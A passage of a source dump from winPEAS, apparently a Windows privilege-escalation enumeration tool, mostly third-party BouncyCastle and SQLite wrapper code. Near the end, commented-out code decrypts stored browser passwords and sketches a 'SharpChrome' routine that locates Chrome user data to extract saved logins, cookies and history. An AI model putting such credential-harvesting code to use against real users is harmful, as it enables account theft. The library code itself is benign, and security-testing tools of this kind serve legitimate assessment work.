53); public override double NextDouble() { ulong x = (ulong)NextLong() >> 11; return Convert.ToDouble(x) * DoubleScale; } public virtual int NextInt() { byte[] bytes = new byte[4]; NextBytes(bytes); return (int)Pack.BE_To_UInt32(bytes); } public virtual long NextLong() { byte[] bytes = new byte[8]; NextBytes(bytes); return (long)Pack.BE_To_UInt64(bytes); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/security/SecurityUtilityException.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.security { #if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE) [Serializable] #endif public class SecurityUtilityException : Exception { /** * base constructor. */ public SecurityUtilityException() { } /** * create a SecurityUtilityException with the given message. * * @param message the message to be carried with the exception. */ public SecurityUtilityException( string message) : base(message) { } public SecurityUtilityException( string message, Exception exception) : base(message, exception) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/Enums.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util.date; #if NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE using System.Collections; using System.Reflection; #endif namespace winPEAS._3rdParty.BouncyCastle.util { internal abstract class Enums { internal static Enum GetEnumValue(System.Type enumType, string s) { if (!IsEnumType(enumType)) throw new ArgumentException("Not an enumeration type", "enumType"); // We only want to parse single named constants if (s.Length > 0 && char.IsLetter(s[0]) && s.IndexOf(',') < 0) { s = s.Replace('-', '_'); s = s.Replace('/', '_'); #if NETCF_1_0 FieldInfo field = enumType.GetField(s, BindingFlags.Static | BindingFlags.Public); if (field != null) { return (Enum)field.GetValue(null); } #else return (Enum)Enum.Parse(enumType, s, false); #endif } throw new ArgumentException(); } internal static Array GetEnumValues(System.Type enumType) { if (!IsEnumType(enumType)) throw new ArgumentException("Not an enumeration type", "enumType"); #if NETCF_1_0 || NETCF_2_0 || SILVERLIGHT IList result = Platform.CreateArrayList(); FieldInfo[] fields = enumType.GetFields(BindingFlags.Static | BindingFlags.Public); foreach (FieldInfo field in fields) { // Note: Argument to GetValue() ignored since the fields are static, // but Silverlight for Windows Phone throws exception if we pass null result.Add(field.GetValue(enumType)); } object[] arr = new object[result.Count]; result.CopyTo(arr, 0); return arr; #else return Enum.GetValues(enumType); #endif } internal static Enum GetArbitraryValue(System.Type enumType) { Array values = GetEnumValues(enumType); int pos = (int)(DateTimeUtilities.CurrentUnixMs() & int.MaxValue) % values.Length; return (Enum)values.GetValue(pos); } internal static bool IsEnumType(System.Type t) { #if NEW_REFLECTION return t.GetTypeInfo().IsEnum; #else return t.IsEnum; #endif } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/IMemoable.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.util { public interface IMemoable { /// /// Produce a copy of this object with its configuration and in its current state. /// /// /// The returned object may be used simply to store the state, or may be used as a similar object /// starting from the copied state. /// IMemoable Copy(); /// /// Restore a copied object state into this object. /// /// /// Implementations of this method should try to avoid or minimise memory allocation to perform the reset. /// /// an object originally {@link #copy() copied} from an object of the same type as this instance. /// if the provided object is not of the correct type. /// if the other parameter is in some other way invalid. void Reset(IMemoable other); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/MemoableResetException.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.util { /** * Exception to be thrown on a failure to reset an object implementing Memoable. *

    * The exception extends InvalidCastException to enable users to have a single handling case, * only introducing specific handling of this one if required. *

    */ public class MemoableResetException : InvalidCastException { /** * Basic Constructor. * * @param msg message to be associated with this exception. */ public MemoableResetException(string msg) : base(msg) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/Strings.cs ================================================ using System; using System.Text; namespace winPEAS._3rdParty.BouncyCastle.util { /// General string utilities. public abstract class Strings { public static string ToUpperCase(string original) { bool changed = false; char[] chars = original.ToCharArray(); for (int i = 0; i != chars.Length; i++) { char ch = chars[i]; if ('a' <= ch && 'z' >= ch) { changed = true; chars[i] = (char)(ch - 'a' + 'A'); } } if (changed) { return new String(chars); } return original; } internal static bool IsOneOf(string s, params string[] candidates) { foreach (string candidate in candidates) { if (s == candidate) return true; } return false; } public static string FromByteArray( byte[] bs) { char[] cs = new char[bs.Length]; for (int i = 0; i < cs.Length; ++i) { cs[i] = Convert.ToChar(bs[i]); } return new string(cs); } public static byte[] ToByteArray( char[] cs) { byte[] bs = new byte[cs.Length]; for (int i = 0; i < bs.Length; ++i) { bs[i] = Convert.ToByte(cs[i]); } return bs; } public static byte[] ToByteArray( string s) { byte[] bs = new byte[s.Length]; for (int i = 0; i < bs.Length; ++i) { bs[i] = Convert.ToByte(s[i]); } return bs; } public static string FromAsciiByteArray( byte[] bytes) { #if SILVERLIGHT || PORTABLE // TODO Check for non-ASCII bytes in input? return Encoding.UTF8.GetString(bytes, 0, bytes.Length); #else return Encoding.ASCII.GetString(bytes, 0, bytes.Length); #endif } public static byte[] ToAsciiByteArray( char[] cs) { #if SILVERLIGHT || PORTABLE // TODO Check for non-ASCII characters in input? return Encoding.UTF8.GetBytes(cs); #else return Encoding.ASCII.GetBytes(cs); #endif } public static byte[] ToAsciiByteArray( string s) { #if SILVERLIGHT || PORTABLE // TODO Check for non-ASCII characters in input? return Encoding.UTF8.GetBytes(s); #else return Encoding.ASCII.GetBytes(s); #endif } public static string FromUtf8ByteArray( byte[] bytes) { return Encoding.UTF8.GetString(bytes, 0, bytes.Length); } public static byte[] ToUtf8ByteArray( char[] cs) { return Encoding.UTF8.GetBytes(cs); } public static byte[] ToUtf8ByteArray( string s) { return Encoding.UTF8.GetBytes(s); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/CollectionUtilities.cs ================================================ using System; using System.Collections; using System.Text; namespace winPEAS._3rdParty.BouncyCastle.util.collections { public abstract class CollectionUtilities { public static void AddRange(IList to, IEnumerable range) { foreach (object o in range) { to.Add(o); } } public static bool CheckElementsAreOfType(IEnumerable e, Type t) { foreach (object o in e) { if (!t.IsInstanceOfType(o)) return false; } return true; } public static IDictionary ReadOnly(IDictionary d) { return new UnmodifiableDictionaryProxy(d); } public static IList ReadOnly(IList l) { return new UnmodifiableListProxy(l); } public static ISet ReadOnly(ISet s) { return new UnmodifiableSetProxy(s); } public static object RequireNext(IEnumerator e) { if (!e.MoveNext()) throw new InvalidOperationException(); return e.Current; } public static string ToString(IEnumerable c) { IEnumerator e = c.GetEnumerator(); if (!e.MoveNext()) return "[]"; StringBuilder sb = new StringBuilder("["); sb.Append(e.Current.ToString()); while (e.MoveNext()) { sb.Append(", "); sb.Append(e.Current.ToString()); } sb.Append(']'); return sb.ToString(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/ISet.cs ================================================ using System.Collections; namespace winPEAS._3rdParty.BouncyCastle.util.collections { public interface ISet : ICollection { void Add(object o); void AddAll(IEnumerable e); void Clear(); bool Contains(object o); bool IsEmpty { get; } bool IsFixedSize { get; } bool IsReadOnly { get; } void Remove(object o); void RemoveAll(IEnumerable e); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableDictionary.cs ================================================ using System; using System.Collections; namespace winPEAS._3rdParty.BouncyCastle.util.collections { public abstract class UnmodifiableDictionary : IDictionary { protected UnmodifiableDictionary() { } public virtual void Add(object k, object v) { throw new NotSupportedException(); } public virtual void Clear() { throw new NotSupportedException(); } public abstract bool Contains(object k); public abstract void CopyTo(Array array, int index); public abstract int Count { get; } IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } public abstract IDictionaryEnumerator GetEnumerator(); public virtual void Remove(object k) { throw new NotSupportedException(); } public abstract bool IsFixedSize { get; } public virtual bool IsReadOnly { get { return true; } } public abstract bool IsSynchronized { get; } public abstract object SyncRoot { get; } public abstract ICollection Keys { get; } public abstract ICollection Values { get; } public virtual object this[object k] { get { return GetValue(k); } set { throw new NotSupportedException(); } } protected abstract object GetValue(object k); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableDictionaryProxy.cs ================================================ using System; using System.Collections; namespace winPEAS._3rdParty.BouncyCastle.util.collections { public class UnmodifiableDictionaryProxy : UnmodifiableDictionary { private readonly IDictionary d; public UnmodifiableDictionaryProxy(IDictionary d) { this.d = d; } public override bool Contains(object k) { return d.Contains(k); } public override void CopyTo(Array array, int index) { d.CopyTo(array, index); } public override int Count { get { return d.Count; } } public override IDictionaryEnumerator GetEnumerator() { return d.GetEnumerator(); } public override bool IsFixedSize { get { return d.IsFixedSize; } } public override bool IsSynchronized { get { return d.IsSynchronized; } } public override object SyncRoot { get { return d.SyncRoot; } } public override ICollection Keys { get { return d.Keys; } } public override ICollection Values { get { return d.Values; } } protected override object GetValue(object k) { return d[k]; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableList.cs ================================================ using System; using System.Collections; namespace winPEAS._3rdParty.BouncyCastle.util.collections { public abstract class UnmodifiableList : IList { protected UnmodifiableList() { } public virtual int Add(object o) { throw new NotSupportedException(); } public virtual void Clear() { throw new NotSupportedException(); } public abstract bool Contains(object o); public abstract void CopyTo(Array array, int index); public abstract int Count { get; } public abstract IEnumerator GetEnumerator(); public abstract int IndexOf(object o); public virtual void Insert(int i, object o) { throw new NotSupportedException(); } public abstract bool IsFixedSize { get; } public virtual bool IsReadOnly { get { return true; } } public abstract bool IsSynchronized { get; } public virtual void Remove(object o) { throw new NotSupportedException(); } public virtual void RemoveAt(int i) { throw new NotSupportedException(); } public abstract object SyncRoot { get; } public virtual object this[int i] { get { return GetValue(i); } set { throw new NotSupportedException(); } } protected abstract object GetValue(int i); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableListProxy.cs ================================================ using System; using System.Collections; namespace winPEAS._3rdParty.BouncyCastle.util.collections { public class UnmodifiableListProxy : UnmodifiableList { private readonly IList l; public UnmodifiableListProxy(IList l) { this.l = l; } public override bool Contains(object o) { return l.Contains(o); } public override void CopyTo(Array array, int index) { l.CopyTo(array, index); } public override int Count { get { return l.Count; } } public override IEnumerator GetEnumerator() { return l.GetEnumerator(); } public override int IndexOf(object o) { return l.IndexOf(o); } public override bool IsFixedSize { get { return l.IsFixedSize; } } public override bool IsSynchronized { get { return l.IsSynchronized; } } public override object SyncRoot { get { return l.SyncRoot; } } protected override object GetValue(int i) { return l[i]; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableSet.cs ================================================ using System; using System.Collections; namespace winPEAS._3rdParty.BouncyCastle.util.collections { public abstract class UnmodifiableSet : ISet { protected UnmodifiableSet() { } public virtual void Add(object o) { throw new NotSupportedException(); } public virtual void AddAll(IEnumerable e) { throw new NotSupportedException(); } public virtual void Clear() { throw new NotSupportedException(); } public abstract bool Contains(object o); public abstract void CopyTo(Array array, int index); public abstract int Count { get; } public abstract IEnumerator GetEnumerator(); public abstract bool IsEmpty { get; } public abstract bool IsFixedSize { get; } public virtual bool IsReadOnly { get { return true; } } public abstract bool IsSynchronized { get; } public abstract object SyncRoot { get; } public virtual void Remove(object o) { throw new NotSupportedException(); } public virtual void RemoveAll(IEnumerable e) { throw new NotSupportedException(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/collections/UnmodifiableSetProxy.cs ================================================ using System; using System.Collections; namespace winPEAS._3rdParty.BouncyCastle.util.collections { public class UnmodifiableSetProxy : UnmodifiableSet { private readonly ISet s; public UnmodifiableSetProxy(ISet s) { this.s = s; } public override bool Contains(object o) { return s.Contains(o); } public override void CopyTo(Array array, int index) { s.CopyTo(array, index); } public override int Count { get { return s.Count; } } public override IEnumerator GetEnumerator() { return s.GetEnumerator(); } public override bool IsEmpty { get { return s.IsEmpty; } } public override bool IsFixedSize { get { return s.IsFixedSize; } } public override bool IsSynchronized { get { return s.IsSynchronized; } } public override object SyncRoot { get { return s.SyncRoot; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/date/DateTimeUtilities.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle.util.date { public class DateTimeUtilities { public static readonly DateTime UnixEpoch = new DateTime(1970, 1, 1); private DateTimeUtilities() { } /// /// Return the number of milliseconds since the Unix epoch (1 Jan., 1970 UTC) for a given DateTime value. /// /// A UTC DateTime value not before epoch. /// Number of whole milliseconds after epoch. /// 'dateTime' is before epoch. public static long DateTimeToUnixMs( DateTime dateTime) { if (dateTime.CompareTo(UnixEpoch) < 0) throw new ArgumentException("DateTime value may not be before the epoch", "dateTime"); return (dateTime.Ticks - UnixEpoch.Ticks) / TimeSpan.TicksPerMillisecond; } /// /// Create a DateTime value from the number of milliseconds since the Unix epoch (1 Jan., 1970 UTC). /// /// Number of milliseconds since the epoch. /// A UTC DateTime value public static DateTime UnixMsToDateTime( long unixMs) { return new DateTime(unixMs * TimeSpan.TicksPerMillisecond + UnixEpoch.Ticks); } /// /// Return the current number of milliseconds since the Unix epoch (1 Jan., 1970 UTC). /// public static long CurrentUnixMs() { return DateTimeToUnixMs(DateTime.UtcNow); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/encoders/Hex.cs ================================================ using System.IO; namespace winPEAS._3rdParty.BouncyCastle.util.encoders { /// /// Class to decode and encode Hex. /// public sealed class Hex { private static readonly HexEncoder encoder = new HexEncoder(); private Hex() { } public static string ToHexString( byte[] data) { return ToHexString(data, 0, data.Length); } public static string ToHexString( byte[] data, int off, int length) { byte[] hex = Encode(data, off, length); return Strings.FromAsciiByteArray(hex); } /** * encode the input data producing a Hex encoded byte array. * * @return a byte array containing the Hex encoded data. */ public static byte[] Encode( byte[] data) { return Encode(data, 0, data.Length); } /** * encode the input data producing a Hex encoded byte array. * * @return a byte array containing the Hex encoded data. */ public static byte[] Encode( byte[] data, int off, int length) { MemoryStream bOut = new MemoryStream(length * 2); encoder.Encode(data, off, length, bOut); return bOut.ToArray(); } /** * Hex encode the byte data writing it to the given output stream. * * @return the number of bytes produced. */ public static int Encode( byte[] data, Stream outStream) { return encoder.Encode(data, 0, data.Length, outStream); } /** * Hex encode the byte data writing it to the given output stream. * * @return the number of bytes produced. */ public static int Encode( byte[] data, int off, int length, Stream outStream) { return encoder.Encode(data, off, length, outStream); } /** * decode the Hex encoded input data. It is assumed the input data is valid. * * @return a byte array representing the decoded data. */ public static byte[] Decode( byte[] data) { MemoryStream bOut = new MemoryStream((data.Length + 1) / 2); encoder.Decode(data, 0, data.Length, bOut); return bOut.ToArray(); } /** * decode the Hex encoded string data - whitespace will be ignored. * * @return a byte array representing the decoded data. */ public static byte[] Decode( string data) { MemoryStream bOut = new MemoryStream((data.Length + 1) / 2); encoder.DecodeString(data, bOut); return bOut.ToArray(); } /** * decode the Hex encoded string data writing it to the given output stream, * whitespace characters will be ignored. * * @return the number of bytes produced. */ public static int Decode( string data, Stream outStream) { return encoder.DecodeString(data, outStream); } /** * Decode the hexadecimal-encoded string strictly i.e. any non-hexadecimal characters will be * considered an error. * * @return a byte array representing the decoded data. */ public static byte[] DecodeStrict(string str) { return encoder.DecodeStrict(str, 0, str.Length); } /** * Decode the hexadecimal-encoded string strictly i.e. any non-hexadecimal characters will be * considered an error. * * @return a byte array representing the decoded data. */ public static byte[] DecodeStrict(string str, int off, int len) { return encoder.DecodeStrict(str, off, len); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/encoders/HexEncoder.cs ================================================ using System; using System.IO; using winPEAS._3rdParty.BouncyCastle.crypto.util; namespace winPEAS._3rdParty.BouncyCastle.util.encoders { public class HexEncoder : IEncoder { protected readonly byte[] encodingTable = { (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4', (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9', (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e', (byte)'f' }; /* * set up the decoding table. */ protected readonly byte[] decodingTable = new byte[128]; protected void InitialiseDecodingTable() { Arrays.Fill(decodingTable, (byte)0xff); for (int i = 0; i < encodingTable.Length; i++) { decodingTable[encodingTable[i]] = (byte)i; } decodingTable['A'] = decodingTable['a']; decodingTable['B'] = decodingTable['b']; decodingTable['C'] = decodingTable['c']; decodingTable['D'] = decodingTable['d']; decodingTable['E'] = decodingTable['e']; decodingTable['F'] = decodingTable['f']; } public HexEncoder() { InitialiseDecodingTable(); } public int Encode(byte[] inBuf, int inOff, int inLen, byte[] outBuf, int outOff) { int inPos = inOff; int inEnd = inOff + inLen; int outPos = outOff; while (inPos < inEnd) { uint b = inBuf[inPos++]; outBuf[outPos++] = encodingTable[b >> 4]; outBuf[outPos++] = encodingTable[b & 0xF]; } return outPos - outOff; } /** * encode the input data producing a Hex output stream. * * @return the number of bytes produced. */ public int Encode(byte[] buf, int off, int len, Stream outStream) { byte[] tmp = new byte[72]; while (len > 0) { int inLen = System.Math.Min(36, len); int outLen = Encode(buf, off, inLen, tmp, 0); outStream.Write(tmp, 0, outLen); off += inLen; len -= inLen; } return len * 2; } private static bool Ignore(char c) { return c == '\n' || c == '\r' || c == '\t' || c == ' '; } /** * decode the Hex encoded byte data writing it to the given output stream, * whitespace characters will be ignored. * * @return the number of bytes produced. */ public int Decode( byte[] data, int off, int length, Stream outStream) { byte b1, b2; int outLen = 0; byte[] buf = new byte[36]; int bufOff = 0; int end = off + length; while (end > off) { if (!Ignore((char)data[end - 1])) { break; } end--; } int i = off; while (i < end) { while (i < end && Ignore((char)data[i])) { i++; } b1 = decodingTable[data[i++]]; while (i < end && Ignore((char)data[i])) { i++; } b2 = decodingTable[data[i++]]; if ((b1 | b2) >= 0x80) throw new IOException("invalid characters encountered in Hex data"); buf[bufOff++] = (byte)((b1 << 4) | b2); if (bufOff == buf.Length) { outStream.Write(buf, 0, bufOff); bufOff = 0; } outLen++; } if (bufOff > 0) { outStream.Write(buf, 0, bufOff); } return outLen; } /** * decode the Hex encoded string data writing it to the given output stream, * whitespace characters will be ignored. * * @return the number of bytes produced. */ public int DecodeString( string data, Stream outStream) { byte b1, b2; int length = 0; byte[] buf = new byte[36]; int bufOff = 0; int end = data.Length; while (end > 0) { if (!Ignore(data[end - 1])) { break; } end--; } int i = 0; while (i < end) { while (i < end && Ignore(data[i])) { i++; } b1 = decodingTable[data[i++]]; while (i < end && Ignore(data[i])) { i++; } b2 = decodingTable[data[i++]]; if ((b1 | b2) >= 0x80) throw new IOException("invalid characters encountered in Hex data"); buf[bufOff++] = (byte)((b1 << 4) | b2); if (bufOff == buf.Length) { outStream.Write(buf, 0, bufOff); bufOff = 0; } length++; } if (bufOff > 0) { outStream.Write(buf, 0, bufOff); } return length; } internal byte[] DecodeStrict(string str, int off, int len) { if (null == str) throw new ArgumentNullException("str"); if (off < 0 || len < 0 || off > (str.Length - len)) throw new IndexOutOfRangeException("invalid offset and/or length specified"); if (0 != (len & 1)) throw new ArgumentException("a hexadecimal encoding must have an even number of characters", "len"); int resultLen = len >> 1; byte[] result = new byte[resultLen]; int strPos = off; for (int i = 0; i < resultLen; ++i) { byte b1 = decodingTable[str[strPos++]]; byte b2 = decodingTable[str[strPos++]]; if ((b1 | b2) >= 0x80) throw new IOException("invalid characters encountered in Hex data"); result[i] = (byte)((b1 << 4) | b2); } return result; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/encoders/IEncoder.cs ================================================ using System.IO; namespace winPEAS._3rdParty.BouncyCastle.util.encoders { /** * Encode and decode byte arrays (typically from binary to 7-bit ASCII * encodings). */ public interface IEncoder { int Encode(byte[] data, int off, int length, Stream outStream); int Decode(byte[] data, int off, int length, Stream outStream); int DecodeString(string data, Stream outStream); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/io/BaseInputStream.cs ================================================ using System; using System.IO; namespace winPEAS._3rdParty.BouncyCastle.util.io { public abstract class BaseInputStream : Stream { private bool closed; public sealed override bool CanRead { get { return !closed; } } public sealed override bool CanSeek { get { return false; } } public sealed override bool CanWrite { get { return false; } } #if PORTABLE protected override void Dispose(bool disposing) { if (disposing) { closed = true; } base.Dispose(disposing); } #else public override void Close() { closed = true; base.Close(); } #endif public sealed override void Flush() { } public sealed override long Length { get { throw new NotSupportedException(); } } public sealed override long Position { get { throw new NotSupportedException(); } set { throw new NotSupportedException(); } } public override int Read(byte[] buffer, int offset, int count) { int pos = offset; try { int end = offset + count; while (pos < end) { int b = ReadByte(); if (b == -1) break; buffer[pos++] = (byte)b; } } catch (IOException) { if (pos == offset) throw; } return pos - offset; } public sealed override long Seek(long offset, SeekOrigin origin) { throw new NotSupportedException(); } public sealed override void SetLength(long value) { throw new NotSupportedException(); } public sealed override void Write(byte[] buffer, int offset, int count) { throw new NotSupportedException(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/io/StreamOverflowException.cs ================================================ using System; using System.IO; namespace winPEAS._3rdParty.BouncyCastle.util.io { #if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE) [Serializable] #endif public class StreamOverflowException : IOException { public StreamOverflowException() : base() { } public StreamOverflowException( string message) : base(message) { } public StreamOverflowException( string message, Exception exception) : base(message, exception) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/util/io/Streams.cs ================================================ using System.IO; namespace winPEAS._3rdParty.BouncyCastle.util.io { public sealed class Streams { private const int BufferSize = 512; private Streams() { } public static void Drain(Stream inStr) { byte[] bs = new byte[BufferSize]; while (inStr.Read(bs, 0, bs.Length) > 0) { } } public static byte[] ReadAll(Stream inStr) { MemoryStream buf = new MemoryStream(); PipeAll(inStr, buf); return buf.ToArray(); } public static byte[] ReadAllLimited(Stream inStr, int limit) { MemoryStream buf = new MemoryStream(); PipeAllLimited(inStr, limit, buf); return buf.ToArray(); } public static int ReadFully(Stream inStr, byte[] buf) { return ReadFully(inStr, buf, 0, buf.Length); } public static int ReadFully(Stream inStr, byte[] buf, int off, int len) { int totalRead = 0; while (totalRead < len) { int numRead = inStr.Read(buf, off + totalRead, len - totalRead); if (numRead < 1) break; totalRead += numRead; } return totalRead; } public static void PipeAll(Stream inStr, Stream outStr) { byte[] bs = new byte[BufferSize]; int numRead; while ((numRead = inStr.Read(bs, 0, bs.Length)) > 0) { outStr.Write(bs, 0, numRead); } } /// /// Pipe all bytes from inStr to outStr, throwing StreamFlowException if greater /// than limit bytes in inStr. /// /// /// A /// /// /// A /// /// /// A /// /// The number of bytes actually transferred, if not greater than limit /// public static long PipeAllLimited(Stream inStr, long limit, Stream outStr) { byte[] bs = new byte[BufferSize]; long total = 0; int numRead; while ((numRead = inStr.Read(bs, 0, bs.Length)) > 0) { if ((limit - total) < numRead) throw new StreamOverflowException("Data Overflow"); total += numRead; outStr.Write(bs, 0, numRead); } return total; } /// public static void WriteBufTo(MemoryStream buf, Stream output) { buf.WriteTo(output); } /// public static int WriteBufTo(MemoryStream buf, byte[] output, int offset) { #if PORTABLE byte[] bytes = buf.ToArray(); bytes.CopyTo(output, offset); return bytes.Length; #else int size = (int)buf.Length; buf.WriteTo(new MemoryStream(output, offset, size, true)); return size; #endif } public static void WriteZeroes(Stream outStr, long count) { byte[] zeroes = new byte[BufferSize]; while (count > BufferSize) { outStr.Write(zeroes, 0, BufferSize); count -= BufferSize; } outStr.Write(zeroes, 0, (int)count); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/README.txt ================================================ ================================================================================================= $Header$ ================================================================================================= Project Descriptions -- See the Wiki Projects for details Please read HowToCompile for instruction on settings and compiler options ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/SQLiteDatabase.cs ================================================ // $Header$ using System; using System.Collections; using System.Data; using winPEAS._3rdParty.SQLite.src; namespace winPEAS._3rdParty.SQLite { using sqlite = CSSQLite.sqlite3; using Vdbe = CSSQLite.Vdbe; /// /// C#-SQLite wrapper with functions for opening, closing and executing queries. /// public class SQLiteDatabase { // pointer to database private sqlite db; /// /// Creates new instance of SQLiteBase class with no database attached. /// public SQLiteDatabase() { db = null; } /// /// Creates new instance of SQLiteDatabase class and opens database with given name. /// /// Name (and path) to SQLite database file public SQLiteDatabase( String DatabaseName ) { OpenDatabase( DatabaseName ); } /// /// Opens database. /// /// Name of database file public void OpenDatabase( String DatabaseName ) { // opens database if ( CSSQLite.sqlite3_open( DatabaseName, ref db ) != CSSQLite.SQLITE_OK ) { // if there is some error, database pointer is set to 0 and exception is throws db = null; throw new Exception( "Error with opening database " + DatabaseName + "!" ); } } /// /// Closes opened database. /// public void CloseDatabase() { // closes the database if there is one opened if ( db != null ) { CSSQLite.sqlite3_close( db ); } } /// /// Returns connection /// public sqlite Connection() { return db; } /// /// Returns the list of tables in opened database. /// /// public ArrayList GetTables() { // executes query that select names of all tables in master table of the database String query = "SELECT name FROM sqlite_master " + "WHERE type = 'table'" + "ORDER BY 1"; DataTable table = ExecuteQuery( query ); // Return all table names in the ArrayList ArrayList list = new ArrayList(); foreach ( DataRow row in table.Rows ) { list.Add( row.ItemArray[0].ToString() ); } return list; } /// /// Executes query that does not return anything (e.g. UPDATE, INSERT, DELETE). /// /// public void ExecuteNonQuery( String query ) { // calles SQLite function that executes non-query CSSQLite.sqlite3_exec( db, query, 0, 0, 0 ); // if there is error, excetion is thrown if ( db.errCode != CSSQLite.SQLITE_OK ) throw new Exception( "Error with executing non-query: \"" + query + "\"!\n" + CSSQLite.sqlite3_errmsg( db ) ); } /// /// Executes query that does return something (e.g. SELECT). /// /// /// public DataTable ExecuteQuery( String query ) { // compiled query SQLiteVdbe statement = new SQLiteVdbe(this, query); // table for result of query DataTable table = new DataTable(); // create new instance of DataTable with name "resultTable" table = new DataTable( "resultTable" ); // reads rows do { } while ( ReadNextRow( statement.VirtualMachine(), table ) == CSSQLite.SQLITE_ROW ); // finalize executing this query statement.Close(); // returns table return table; } // private function for reading rows and creating table and columns private int ReadNextRow( Vdbe vm, DataTable table ) { int columnCount = table.Columns.Count; if ( columnCount == 0 ) { if ( ( columnCount = ReadColumnNames( vm, table ) ) == 0 ) return CSSQLite.SQLITE_ERROR; } int resultType; if ( ( resultType = CSSQLite.sqlite3_step( vm) ) == CSSQLite.SQLITE_ROW ) { object[] columnValues = new object[columnCount]; for ( int i = 0 ; i < columnCount ; i++ ) { int columnType = CSSQLite.sqlite3_column_type( vm, i ); switch ( columnType ) { case CSSQLite.SQLITE_INTEGER: { columnValues[i] = CSSQLite.sqlite3_column_int( vm, i ); break; } case CSSQLite.SQLITE_FLOAT: { columnValues[i] = CSSQLite.sqlite3_column_double( vm, i ); break; } case CSSQLite.SQLITE_TEXT: { columnValues[i] = CSSQLite.sqlite3_column_text( vm, i ); break; } case CSSQLite.SQLITE_BLOB: { // Something goes wrong between adding this as a column value and converting to a row value. byte[] encBlob = CSSQLite.sqlite3_column_blob(vm, i); string base64 = Convert.ToBase64String(encBlob); //byte[] decPass = ProtectedData.Unprotect(encBlob, null, DataProtectionScope.CurrentUser); //string password = Encoding.ASCII.GetString(decPass); //columnValues[i] = password; columnValues[i] = base64; break; } default: { columnValues[i] = ""; break; } } } table.Rows.Add( columnValues ); } return resultType; } // private function for creating Column Names // Return number of colums read private int ReadColumnNames( Vdbe vm, DataTable table ) { String columnName = ""; int columnType = 0; // returns number of columns returned by statement int columnCount = CSSQLite.sqlite3_column_count( vm ); object[] columnValues = new object[columnCount]; try { // reads columns one by one for ( int i = 0 ; i < columnCount ; i++ ) { columnName = CSSQLite.sqlite3_column_name( vm, i ); columnType = CSSQLite.sqlite3_column_type( vm, i ); switch ( columnType ) { case CSSQLite.SQLITE_INTEGER: { // adds new integer column to table table.Columns.Add( columnName, Type.GetType( "System.Int64" ) ); break; } case CSSQLite.SQLITE_FLOAT: { table.Columns.Add( columnName, Type.GetType( "System.Double" ) ); break; } case CSSQLite.SQLITE_TEXT: { table.Columns.Add( columnName, typeof(string) ); break; } case CSSQLite.SQLITE_BLOB: { table.Columns.Add( columnName, typeof(byte[]) ); break; } default: { table.Columns.Add( columnName, Type.GetType( "System.String" ) ); break; } } } } catch { return 0; } return table.Columns.Count; } } } //namespace SharpChrome //{ // using CS_SQLite3; // class Program // { // static void Usage() // { // string banner = @" //Usage: // .\sharpchrome.exe arg0 [arg1 arg2 ...] //Arguments: // all - Retrieve all Chrome Bookmarks, History, Cookies and Logins. // full - The same as 'all' // logins - Retrieve all saved credentials that have non-empty passwords. // history - Retrieve user's history with a count of each time the URL was // visited, along with cookies matching those items. // cookies [domain1.com domain2.com] - Retrieve the user's cookies in JSON format. // If domains are passed, then return only // cookies matching those domains. //"; // Console.WriteLine(banner); // } // static void Main(string[] args) // { // // Path builder for Chrome install location // string homeDrive = System.Environment.GetEnvironmentVariable("HOMEDRIVE"); // string homePath = System.Environment.GetEnvironmentVariable("HOMEPATH"); // string localAppData = System.Environment.GetEnvironmentVariable("LOCALAPPDATA"); // string[] paths = new string[2]; // paths[0] = homeDrive + homePath + "\\Local Settings\\Application Data\\Google\\Chrome\\User Data"; // paths[1] = localAppData + "\\Google\\Chrome\\User Data"; // //string chromeLoginDataPath = "C:\\Users\\Dwight\\Desktop\\Login Data"; // string[] validArgs = { "all", "full", "logins", "history", "cookies" }; // bool getCookies = false; // bool getHistory = false; // bool getBookmarks = false; // bool getLogins = false; // bool useTmpFile = false; // // For filtering cookies // List domains = new List(); // if (args.Length == 0) // { // 